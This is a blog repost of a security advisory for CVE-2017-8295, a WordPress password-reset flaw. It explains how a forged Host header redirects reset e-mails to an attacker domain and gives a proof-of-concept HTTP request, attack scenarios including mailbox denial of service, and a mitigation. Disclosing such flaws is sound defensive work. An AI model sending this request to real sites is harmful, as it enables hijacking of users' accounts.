Kατεβάσετε την εφαρμογή android του blog! DownLoad

FoulsCode: 2011-17

Translate

Πρόσφατα Σχόλια

Σύνολο αναρτήσεων

WordPress Core = 4.7.4 Potential Unauthorized Password Reset (0day)

Written By Greek Port on Σάββατο, 30 Σεπτεμβρίου 2017 | Σεπτεμβρίου 30, 2017



Discovered by: Dawid Golunski (@dawid_golunski)
- dawid[at]legalhackers.com
https://legalhackers.com
ExploitBox.io (@Exploit_Box)


- CVE-2017-8295
- Release date: 03.05.2017
- Revision 3.0
- Last update: 04.05.2017
- Severity: Medium/High
====================================================


I. VULNERABILITY
-------------------------

WordPress Core <= 4.7.4 Potential Unauthorized Password Reset (0day)



II. BACKGROUND
-------------------------

"WordPress is a free and open-source content management system
(CMS) based on PHP and MySQL.

WordPress was used by more than 27.5% of the top 10 million
websites as of February 2017. WordPress is reportedly the
most popular website management or blogging system in
use on the Web, supporting more than 60 million websites."

https://en.wikipedia.org/wiki/WordPress


III. INTRODUCTION
-------------------------

Wordpress has a password reset feature that contains a vulnerability which
might in some cases allow attackers to get hold of the password reset link
without previous authentication.
Such attack could lead to an attacker gaining unauthorised access to a
victim's WordPress account.


IV. DESCRIPTION
-------------------------


The vulnerability stems from WordPress using untrusted data by default
when creating a password reset e-mail that is supposed to be delivered only
to the e-mail associated with the owner's account.

This can be observed in the following code snippet that creates a From
email header before calling a PHP mail() function:

------[ wp-includes/pluggable.php ]------

...

if ( !isset( $from_email ) ) {
// Get the site domain and get rid of www.
$sitename = strtolower( $_SERVER['SERVER_NAME'] );
if ( substr( $sitename, 0, 4 ) == 'www.' ) {
$sitename = substr( $sitename, 4 );
}

$from_email = 'wordpress@' . $sitename;
}

...

-----------------------------------------

As we can see, Wordpress is using SERVER_NAME variable to get the hostname of
the server in order to create a From/Return-Path header of the outgoing password
reset email.
However, major web servers such as Apache by default set the SERVER_NAME variable
using the hostname supplied by the client (within the HTTP_HOST header):

https://httpd.apache.org/docs/2.4/mod/core.html#usecanonicalname


Because SERVER_NAME can be modified, an attacker could set it to an arbitrary
domain of his choice e.g:

attackers-mxserver.com

which would result in Wordpress setting the $from_email to

wordpress@attackers-mxserver.com

and thus result in an outgoing email with From/Return-Path set to this
malicious address.

As to which e-mail header the attacker would be able to modify - From or
Return-Path, it depends on the server environment. As can be read on
http://php.net/manual/en/function.mail.php
The From header sets also Return-Path under Windows.


Depending on the configuration of the mail server, it may result in
an email that gets sent to the victim WordPress user with
such malicious From/Return-Path address set in the email headers.


This could possibly allow the attacker to intercept the email containing the
password reset link in some cases requiring user interaction as well as without
user interaction.

3 _separate_ example scenarios (both the ones that require victim interaction
and those that do not) include:


1 * Attacker can perform a prior DoS attack on the victim's email account/server (e.g by
sending multiple large files to exceed user's disk quota, attacking the DNS server etc)
in order to prevent the password reset email from reaching the victim's account and bounce
back to the malicous sender address that is pointed at the attacker (no user interaction required)

--------

2 * Some autoresponders might attach a copy of the email sent in the body of the
auto-replied message (no user interaction required)

--------

3 * Sending multiple password reset emails to force the user to reply to the
message to enquiry explanation for endless password reset emails.
The reply containing the password link would then be sent to attacker. (user interaction required)

--------

etc.


V. PROOF OF CONCEPT
-------------------------

If an attacker sends a request similar to the one below to a default Wordpress
installation that is accessible by the IP address (IP-based vhost):

-----[ HTTP Request ]----

POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: injected-attackers-mxserver.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 56

user_login=admin&redirect_to=&wp-submit=Get+New+Password

------------------------


Wordpress will trigger the password reset function for the admin user account.

Because of the modified HOST header, the SERVER_NAME will be set to
the hostname of attacker's choice.
As a result, Wordpress will pass the following headers and email body to the
/usr/bin/sendmail wrapper:


------[ resulting e-mail ]-----

Subject: [CompanyX WP] Password Reset
Return-Path:
From: WordPress
Message-ID:
X-Priority: 3
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Someone requested that the password be reset for the following account:

http://companyX-wp/wp/wordpress/

Username: admin

If this was a mistake, just ignore this email and nothing will happen.

To reset your password, visit the following address:

<http://companyX-wp/wp/wordpress/wp-login.php?action=rp&key=AceiMFmkMR4fsmwxIZtZ&login=admin>

-------------------------------


As we can see, fields Return-Path, From, and Message-ID, all have the attacker's
domain set.


The verification of the headers can be performed by replacing /usr/sbin/sendmail with a
bash script of:

#!/bin/bash
cat > /tmp/outgoing-email



VI. BUSINESS IMPACT
-------------------------

Upon a successfull exploitation, attacker may be able to reset user's password
and gain unauthorized access to their WordPress account.


VII. SYSTEMS AFFECTED
-------------------------

All WordPress versions up to the latest 4.7.4


VIII. SOLUTION
-------------------------

No official solution available. As a temporary solution users can enable
UseCanonicalName to enforce static SERVER_NAME value

https://httpd.apache.org/docs/2.4/mod/core.html#usecanonicalname


This issue has been reported to WordPress security team multiple times
with the first report sent back in July 2016. It was reported both directly
via security contact email, as well as via HackerOne website.

As there has been no progress in this case , this advisory is finally
released to the public without an official patch (0day).



IX. REFERENCES
-------------------------

https://legalhackers.com

https://ExploitBox.io

Vendor site:
https://wordpress.org

http://httpd.apache.org/docs/2.4/mod/core.html#usecanonicalname

http://php.net/manual/en/function.mail.php

https://tools.ietf.org/html/rfc5321



X. CREDITS
-------------------------

Discovered by

Dawid Golunski
dawid (at) legalhackers (dot) com

https://legalhackers.com
https://ExploitBox.io



Thanks to BeyondSecurity for help with contacting the vendor.


XI. REVISION HISTORY
-------------------------

03.05.2017 - Advisory released, rev. 1

04.05.2017 - Revision 2. Updated description/scenario section to highlight that
scenarios are independent of each other and include ones that require
victim interaction (such as a manual reply) and ones that do not
(such as email account DoS leading to automatically bounced email by the receiving server)

04.05.2017 - Revision 3. Updated 'solution' section to clarify and highlight numerous
resolution attempts (both via direct WordPress security email contact and via HackerOne)


XII. EXPLOITBOX - A PLAYGROUND FOR HACKERS
-------------------------

ExploitBox.io is coming soon.
Subscribe at https://ExploitBox.io to stay updated and be there for the launch.


XIII. LEGAL NOTICES
-------------------------

The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this information.

"WordPress Core = 4.7.4 Potential Unauthorized Password Reset (0day)"
"WordPress Core = 4.7.4 Potential Unauthorized Password Reset (0day)"
"WordPress Core = 4.7.4 Potential Unauthorized Password Reset (0day)"
"WordPress Core = 4.7.4 Potential Unauthorized Password Reset (0day)"
"WordPress Core = 4.7.4 Potential Unauthorized Password Reset (0day)"
"WordPress Core = 4.7.4 Potential Unauthorized Password Reset (0day)"
Σεπτεμβρίου 30, 2017 | 0 σχόλια | Διαβάστε περισσότερα
 
berita unik